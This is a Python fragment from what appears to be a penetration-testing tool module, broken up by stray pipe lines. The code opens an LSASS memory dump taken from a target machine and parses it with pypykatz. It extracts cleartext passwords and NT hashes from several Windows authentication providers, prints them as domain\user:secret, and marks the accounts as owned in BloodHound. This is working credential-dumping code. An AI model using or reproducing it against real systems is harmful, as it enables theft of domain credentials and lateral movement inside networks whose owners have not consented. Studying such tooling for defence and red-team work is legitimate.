with open(self.dir_result + machine_name, 'rb') as dump:
|
|
try:
|
|
credentials = []
|
|
credz_bh = []
|
|
pypy_parse = pypykatz.parse_minidump_external(dump)
|
|
|
|
ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds',
|
|
'tspkg_creds']
|
|
for luid in pypy_parse.logon_sessions:
|
|
|
|
for ssp in ssps:
|
|
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
|
domain = getattr(cred, "domainname", None)
|
|
username = getattr(cred, "username", None)
|
|
password = getattr(cred, "password", None)
|
|
NThash = getattr(cred, "NThash", None)
|
|
if NThash is not None:
|
|
NThash = NThash.hex()
|
|
if username and (password or NThash) and "$" not in username:
|
|
print_pass = password if password else NThash
|
|
context.log.highlight(domain + "\\" + username + ":" + print_pass)
|
|
if "." not in domain and domain.upper() in connection.domain.upper():
|
|
domain = connection.domain
|
|
credz_bh.append({'username': username.upper(), 'domain': domain.upper()})
|
|
if len(credz_bh) > 0:
|
|
add_user_bh(credz_bh, None, context.log, connection.config)
|
|
except Exception as e:
|
|
context.log.error('Error openning dump file', str(e)) |